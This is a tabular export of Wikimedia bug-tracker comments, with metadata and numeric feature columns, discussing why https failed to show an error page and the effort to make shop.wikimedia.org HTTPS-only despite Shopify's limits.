193962,https does not show Wikimedia Error page,"Hehe, yeah. I guess what I wanted to say is that it is helpful if such reports include specific information or maybe a screenshot. 
Let's wait for the next breakdown. Or not. :)",,,1353324677,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-41,True,0.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,12.0,5.0,5.0,5.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,"Hehe, yeah. I guess what I wanted to say is that it is helpful if such reports include specific information or maybe a screenshot. 
Let's wait for the next breakdown. Or not. :)"
193954,https does not show Wikimedia Error page,"I hope it is impossible to reproduce this to often, because every time you can reproduce this, wikipedia is down/unreachable.

I cannot give a url, because wikipedia is actually running nice.",,,1353179894,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,False,,,-41,True,2.0,0.0,0.0,0.0,2.0,8.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.05,0.7,"I hope it is impossible to reproduce this to often, because every time you can reproduce this, wikipedia is down/unreachable.

I cannot give a url, because wikipedia is actually running nice."
193949,https does not show Wikimedia Error page,"Good steps to reproduce welcome (URLs!), as I don't remember ""the outage today"" from three months ago...",,,1353164893,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-41,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.96,"Good steps to reproduce welcome (URLs!), as I don't remember ""the outage today"" from three months ago..."
39790,shop.wikimedia.org should be HTTPS only,"Currently <https://shop.wikimedia.org> doesn't work at all. Ideally <http://shop.wikimedia.org> would unconditionally redirect to <https://shop.wikimedia.org>.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://shop.wikimedia.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61528",High,80.0,1340296980,1456529046.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-TASK-o5cnwjimr2r67t7idozw,task_description,resolved,True,c2,1,True,True,False,-62,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.240740740740741,0.46296296296296297,"Currently <URL doesn't work at all. Ideally <URL would unconditionally redirect to <URL

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL
**See Also**:
URL"
618857,shop.wikimedia.org should be HTTPS only,cool :) that's great,,,1456529085,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,cool :) that's great
618856,shop.wikimedia.org should be HTTPS only,"This looks fixed now. Thanks, all!

```
$ curl -Is ""http://shop.wikimedia.org/"" | grep Location
Location: https://shop.wikimedia.org/
```
```
$ curl -Is ""https://shop.wikimedia.org/"" | grep Location
Location: https://store.wikimedia.org/
```
```
$ curl -Is ""https://store.wikimedia.org/"" | head -1
HTTP/1.1 200 OK
```",,,1456529046,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.933333333333333,0.8,"This looks fixed now. Thanks, all!

``CODE`CODE`CODE`CODE`CODE``"
618824,shop.wikimedia.org should be HTTPS only,"Hmm good point @PPena, I haven't actually checked on this since the store was redesigned. I know there used to be an issue with the customer login during checkout, but it looks like that is all https now.",,,1456526223,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,2.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,7.0,14.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,14.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.9047619047619048,"Hmm good pointSCREEN_NAME, I haven't actually checked on this since the store was redesigned. I know there used to be an issue with the customer login during checkout, but it looks like that is all https now."
618797,shop.wikimedia.org should be HTTPS only,"@MZMcBride @Chmarkine can you chime in and show the remaining issues to @Ppena ?

@CCogdill_WMF i don't know of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell",,,1456523738,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,2.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,16.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,6.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.183673469387755,0.8571428571428571,"SCREEN_NAMESCREEN_NAME can you chime in and show the remaining issues toSCREEN_NAME ?
SCREEN_NAME i don't know of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell"
618795,shop.wikimedia.org should be HTTPS only,"@MZMcBride @Chmarkine can you chime in and show the remaining issues to @Ppena ?

@CCogdill_WMF i don't of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell",,,1456523724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,2.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,17.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1875,0.8541666666666666,"SCREEN_NAMESCREEN_NAME can you chime in and show the remaining issues toSCREEN_NAME ?
SCREEN_NAME i don't of any hard deadlines, it's just that this ticket has been created back in 2012 and still couldn't be fully fixed, as far as i can tell"
618790,shop.wikimedia.org should be HTTPS only,"@CCogdill_WMF  I'm not sure what you mean, I see https throughout the entire flow of the store? Could you confirm?

{F3433869}{F3433871}",,,1456522829,,PHID-USER-6k6aily3dvmwhkh54ont,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9655172413793105,0.8620689655172413,"SCREEN_NAME  I'm not sure what you mean, I see https throughout the entire flow of the store? Could you confirm?

{F3433869}{F3433871}"
618361,shop.wikimedia.org should be HTTPS only,"I'm not sure if anyone currently at the Store is aware of this task. Adding @Ppena.

@Dzahn are there any hard deadlines on this?",,,1456446821,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,130,True,4.0,4.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,7.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,14.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,"I'm not sure if anyone currently at the Store is aware of this task. AddingSCREEN_NAME.
SCREEN_NAME are there any hard deadlines on this?"
616923,shop.wikimedia.org should be HTTPS only,"shop.wikimedia.org and shop.wikipedia.org point to our Apache cluster:


```
templates/wikipedia.org:shop            600 IN DYNA     geoip!text-addrs
templates/wikimedia.org:shop             600 IN DYNA     geoip!text-addrs

```
but only to redirect to store.


```
files/apache/sites/redirects.conf:	ServerAlias shop.wikimedia.org
files/apache/sites/redirects.conf:	ServerAlias shop.wikipedia.org
files/apache/sites/redirects.conf:	ServerAlias shop.wikipedia.com

files/apache/sites/redirects.conf:	# funnel	shop.wikimedia.org	//store.wikimedia.org
..
files/apache/sites/redirects/redirects.dat:funnel	shop.wikipedia.org	//store.wikimedia.org
```

store is **external, on shopify.com**

templates/wikimedia.org:store            1H  IN CNAME    c.ssl.shopify.com.

the operations team can't do much here,  this is outside our control. so either shopify fixes it or we have to stop outsourcing and run the shop on our own infrastructure.",,,1456289309,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,130,True,1.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,1.0,4.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,4.35064935064935,0.7272727272727273,"shop.wikimedia.org and shop.wikipedia.org point to our Apache cluster:


``CODE`CODE`CODE``

store is **external, on shopify.com**

templates/wikimedia.org:store            1H  IN CNAME    c.ssl.shopify.com.

the operations team can't do much here,  this is outside our control. so either shopify fixes it or we have to stop outsourcing and run the shop on our own infrastructure."
426349,shop.wikimedia.org should be HTTPS only,">>! In T39790#1118420, @Dzahn wrote:
>>>! In T39790#418198, @Chmarkine wrote:
>> Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .
> 
> @Chmarkine was that a duplicate of T63528?

No. My comment here is about an insecure link URL, whereas T63528 is about HTTPS to HTTP redirect.",,,1426298085,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,35.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6129032258064515,0.6774193548387096,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No. My comment here is about an insecure link URL, whereas T63528 is about HTTPS to HTTP redirect."
426296,shop.wikimedia.org should be HTTPS only,">>! In T39790#418198, @Chmarkine wrote:
> Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .

@Chmarkine was that a duplicate of T63528?",,,1426291123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,33.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.8333333333333334,"QUOTE
QUOTE
SCREEN_NAME was that a duplicate of T63528?"
426295,shop.wikimedia.org should be HTTPS only,">>! In T39790#418202, @Ejegg wrote:

> Thanks for catching that!  I updated that link and the matching one on the registration page, and also fixed the 'added to cart' popup link.

Did you resolve T63528 by updating that link? Is it the same thing?
",,,1426291084,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,80,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,0.85,"QUOTE

QUOTE

Did you resolve T63528 by updating that link? Is it the same thing?
"
178635,shop.wikimedia.org should be HTTPS only,"Hi chmarkine@hotmail.com,

Thanks for catching that!  I updated that link and the matching one on the registration page, and also fixed the 'added to cart' popup link.",,,1411595306,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,56,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,3.0,6.0,11.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,11.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,4.057142857142857,0.8,"Hi chmarkine@hotmail.com,

Thanks for catching that!  I updated that link and the matching one on the registration page, and also fixed the 'added to cart' popup link."
178631,shop.wikimedia.org should be HTTPS only,"Is it possible for us to change the ""Return to Store"" link on https://shop.wikimedia.org/account/login page to https://shop.wikimedia.org? It currently links to http://shop.wikimedia.org/ .",,,1411356931,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,24.0,4.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.32,0.76,"Is it possible for us to change the ""Return to Store"" link on URL page to URL It currently links to URL ."
178625,shop.wikimedia.org should be HTTPS only,"OK, found the social media snippets and updated so all are loaded securely and are liking/tweeting/pinning/plusoneing the secure version of the product page.",,,1408131909,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,50,True,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,3.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.354838709677419,0.8064516129032258,"OK, found the social media snippets and updated so all are loaded securely and are liking/tweeting/pinning/plusoneing the secure version of the product page."
178618,shop.wikimedia.org should be HTTPS only,"I fixed what pages I could, making all links https where the destination supports it, and making the one img tag I saw protocol relative.  I don't see where the share/like buttons are controlled, but I'll take another look.",,,1407988469,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,50,True,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,10.0,4.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7755102040816326,0.7755102040816326,"I fixed what pages I could, making all links https where the destination supports it, and making the one img tag I saw protocol relative.  I don't see where the share/like buttons are controlled, but I'll take another look."
178610,shop.wikimedia.org should be HTTPS only,"(In reply to MZMcBride from comment #15)
> (In reply to Elliott Eggleston from comment #13)
> > This is not possible to fix while the shop is hosted on Shopify.  They don't
> > offer the option of turning off http, and in certain places, like their
> > post-login redirect, they automatically send the user to http.
> 
> Presumably Shopify has an issue tracker of some kind? Is there an open
> ticket about this issue (i.e., a store cannot be HTTPS-only currently)?

As noted in my above comments, we have had an open ticket with Shopify about this since February 2014. Thus far they have been unable to allocate resources for a fix, but we are continuing to ask for help.
> 
> > Unless we want to find a new vendor or take on the responsibility of hosting
> > our own ecommerce site, this is a WONTFIX.
> 
> This is a bit of a false dichotomy. Let's get Shopify to fix their code. :-)
> If Shopify really can't support an HTTPS-only site in 2014, then it makes
> more sense to reëvaluate using them as a vendor than it does to close this
> ticket. For sure.

This is certainly something we can look into, however with limited resources, the Shop has priorities that weigh heavier than this one, mainly in finding and moving to a new fulfillment partner. We can keep this bug open in the interim, but I just want to manage expectations about timing, as switching to a new vendor would require months of planning and integration.",,,1407362164,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,49,True,0.0,0.5,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,3.5,0.5,3.5,13.0,0.5,1.5,0.0,0.5,0.0,0.0,1.5,0.0,1.0,1.5,0.5,0.0,4.0,1.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,3.0,0.0,0.5,0.0,0.5,0.0,11.5,0.5,2.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.5,13.5,0.5,2.5,6.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,4.0,13.0,7.5,0.0,0.0,0.0,4.0,0.0,0.5,2.5,0.0,2.5,0.5,0.0,0.0,3.87970362970363,0.6972194472194473,"(In reply to MZMcBride from comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As noted in my above comments, we have had an open ticket with Shopify about this since February 2014. Thus far they have been unable to allocate resources for a fix, but we are continuing to ask for help.
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is certainly something we can look into, however with limited resources, the Shop has priorities that weigh heavier than this one, mainly in finding and moving to a new fulfillment partner. We can keep this bug open in the interim, but I just want to manage expectations about timing, as switching to a new vendor would require months of planning and integration."
178601,shop.wikimedia.org should be HTTPS only,"(In reply to jeremyb from comment #11)
> https://shop.wikimedia.org/ seems ok. or not, now is 502. and now fixed
> again?
> 
> some outstanding issues:
> 
> * make links from pages like https://shop.wikimedia.org/pages/privacy-policy
> (and other pages like https://shop.wikimedia.org/pages/about-wikimedia ) to
> WMF wikis or other parts of the shop site use HTTPS (or protorel)
> * https://shop.wikimedia.org/products/wikipedia-globe-sweats has
> mixed-content warnings and also probably violates the site's privacy policy
> (3rd-party cookies that are not really necessary) and when loading the
> facebook widget passes in a URL as param with HTTP as protocol (not HTTPS)[0]
> * fonts pulled from google rather than WMF or shopify. (again, possible
> privacy policy violation? CC luis to look into these parts)
> * https://shop.wikimedia.org/account/register POSTs to HTTPS and then (if
> e.g. you submit a blank form or have some other error) sends you a 302 to
> the cleartext (HTTP) site.
> 
> [0]
> Blocked loading mixed active content
> ""http://platform.twitter.com/widgets.js"" @
> https://shop.wikimedia.org/products/wikipedia-globe-sweats
> Blocked loading mixed active content
> ""http://assets.pinterest.com/js/pinit.js"" @
> https://shop.wikimedia.org/products/wikipedia-globe-sweats
> GET
> https://www.facebook.com/plugins/like.php?href=http://shop.wikimedia.org/
> products/wikipedia-globe-
> sweats&send=false&layout=button_count&width=120&show_faces=false&action=like&
> colorscheme=light&font&height=21 [HTTP/1.1 200 OK 405ms]

Thank you for this post.

